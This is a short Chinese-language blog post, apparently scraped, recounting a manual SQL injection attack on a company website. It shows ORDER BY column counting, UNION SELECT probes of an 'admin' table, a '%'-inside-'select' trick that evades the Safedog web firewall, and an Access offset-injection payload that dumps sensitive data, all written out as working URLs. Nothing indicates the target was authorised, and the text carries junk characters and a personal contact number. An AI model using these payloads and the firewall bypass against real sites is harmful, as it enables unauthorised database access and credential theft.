一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
9 K) _6 x. ]' f/ ?6 }​
+ G2 V5 w) V6 E1 p
, B0 N# k6 ~) U$ O顺手加个admin
​

1 q: k+ w. b: G: P6 x$ t默认后台。
2 ~1 z1 S! i; @5 {/ R2 \8 T回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​


" r/ I% H5 [/ ^& ?9 r: ~
4 @- Q, w, p$ H1 a$ [! `+ P所以就不用御剑扫了，待会直接封IP。

0 I( G0 m$ ^/ Q; I5 Q, f% e2 C用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
3 X3 A4 ?2 k& ]+ |( P1 a) `8 |) [http://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。

( J! s9 B# J9 _: }+ D* L接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​

3 _9 D& p+ E$ _
2 j7 q% f$ p" T) Q2 m
在select中间加个%,se%lect绕过安全狗。
, s) V" P) k4 o0 g* _​

# \, v; q5 w1 Z" v  h发现存在admin表，然后开始手工猜常用的字段。
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
! }) O) B6 s. v' V! z
) S& H% _, ]# D. ]+ L突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​


: k$ a8 p2 f+ R$ \& O& Q1 k